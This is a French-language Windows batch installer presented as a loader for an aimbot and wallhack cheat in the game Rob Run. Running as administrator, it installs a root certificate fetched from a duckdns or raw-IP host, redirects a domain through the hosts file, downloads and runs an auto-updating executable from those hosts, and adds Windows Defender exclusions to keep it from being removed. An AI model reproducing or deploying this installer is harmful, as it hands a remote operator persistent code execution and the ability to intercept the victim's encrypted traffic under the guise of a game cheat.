@echo off
setlocal
title Installation du loader Rob Run
net session >nul 2>&1
if errorlevel 1 (
  powershell -NoProfile -Command "Start-Process -Verb RunAs -FilePath '%~f0'"
  exit /b
)
set "BASE=http://teambenz.duckdns.org/robrun"
set "BASE2=http://207.180.214.61/robrun"
powershell -NoProfile -Command "try{ Invoke-WebRequest -UseBasicParsing '%BASE%/index.html' -TimeoutSec 6 -ErrorAction Stop | Out-Null }catch{ exit 1 }" >nul 2>&1
if errorlevel 1 set "BASE=%BASE2%"
set "DEST=%USERPROFILE%\Desktop\RobRun"
color 0C
echo.
echo ############################################################
echo #                                                          #
echo #          !!  A LIRE AVANT D'APPUYER F1  !!               #
echo #                                                          #
echo ############################################################
echo.
echo   AVANT d'appuyer F1 quand la fenetre du cheat apparait :
echo.
echo     1. LANCE ROB RUN SUR STEAM
echo     2. ENTRE DANS UNE PARTIE
echo        (ton perso doit etre VISIBLE SUR LA MAP,
echo         PAS au menu Steam, PAS sur l'ecran titre)
echo.
echo   Sinon l'AIMBOT et le WALLHACK ne marcheront PAS
echo   de toute la session.
echo.
echo   Seul le Motel de Lenny n'a pas de PvP. Partout ailleurs
echo   (Looty Bay, colonies, districts) tu dois voir que ca
echo   fonctionne. Sinon, ferme tout et refais dans le bon ordre
echo   (jeu D'ABORD, loader APRES).
echo.
echo ############################################################
echo.
pause
color 07
echo ============================================================
echo   INSTALLATION DU LOADER ROB RUN (une seule fois)
echo ============================================================
echo.
echo  1/6  Nettoyage des proxies qui peuvent gener...
taskkill /f /im mitmdump.exe >nul 2>&1
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f >nul
netsh winhttp reset proxy >nul
mkdir "%DEST%" >nul 2>&1
echo  2/6  Certificat du serveur...
powershell -NoProfile -Command "Invoke-WebRequest -UseBasicParsing %BASE%/relais.cer -OutFile \"$env:TEMP\relais.cer\""
certutil -delstore Root 2.24.206.110 >nul 2>&1
certutil -addstore -f Root "%TEMP%\relais.cer" >nul 2>&1
echo  3/6  Adresse du serveur...
findstr /c:"access.chairfbi.com" "%WINDIR%\System32\drivers\etc\hosts" >nul 2>&1
if errorlevel 1 echo 207.180.214.61 access.chairfbi.com>> "%WINDIR%\System32\drivers\etc\hosts"
ipconfig /flushdns >nul
echo  4/6  Telechargement du loader et du lanceur auto-update...
taskkill /f /im RobRun.exe >nul 2>&1
timeout /t 1 /nobreak >nul
del /f /q "%DEST%\RobRun.exe" >nul 2>&1
powershell -NoProfile -Command "Invoke-WebRequest -UseBasicParsing '%BASE%/RobRun.exe?v=%RANDOM%' -OutFile \"%DEST%\RobRun.exe\""
powershell -NoProfile -Command "Invoke-WebRequest -UseBasicParsing '%BASE%/lancer-RobRun.bat?v=%RANDOM%' -OutFile \"%DEST%\lancer-RobRun.bat\""
powershell -NoProfile -Command "Unblock-File \"%DEST%\RobRun.exe\" -ErrorAction SilentlyContinue"
powershell -NoProfile -Command "Unblock-File \"%DEST%\lancer-RobRun.bat\" -ErrorAction SilentlyContinue"
if not exist "%DEST%\RobRun.exe" (
  echo !!  Le telechargement a echoue. Ferme RobRun.exe puis relance installer.bat.
  pause
  exit /b 1
)
rem Raccourci "Rob Run" sur le Bureau, pointe sur le .bat (= auto-update a chaque clic)
powershell -NoProfile -Command "$s = (New-Object -ComObject WScript.Shell).CreateShortcut(\"$env:USERPROFILE\Desktop\Rob Run.lnk\"); $s.TargetPath = \"%DEST%\lancer-RobRun.bat\"; $s.WorkingDirectory = \"%DEST%\"; $s.IconLocation = \"%DEST%\RobRun.exe\"; $s.WindowStyle = 7; $s.Save()"
echo  5/6  Exclusions Windows Defender (pour qu'il ne le supprime pas)...
powershell -NoProfile -Command "try { Add-MpPreference -ExclusionPath \"%DEST%\" -ErrorAction Stop; Add-MpPreference -ExclusionProcess 'RobRun.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\ROBRUN' -ErrorAction SilentlyContinue; 'exclusions OK' } catch { 'Defender: exclusions non ajoutees (antivirus tiers ?)' }"
echo  6/6  Lancement du loader (via le lanceur auto-update)...
echo.
echo === Fini. ===
echo     Un raccourci "Rob Run" est sur ton Bureau. A chaque double-clic, le loader
echo     se met a jour tout seul puis se lance.
echo     L'aide (Defender, Secure Boot, redemarrage) : %BASE%/AIDE.txt
echo.
start "" "%DEST%\lancer-RobRun.bat"
timeout /t 8 /nobreak >nul
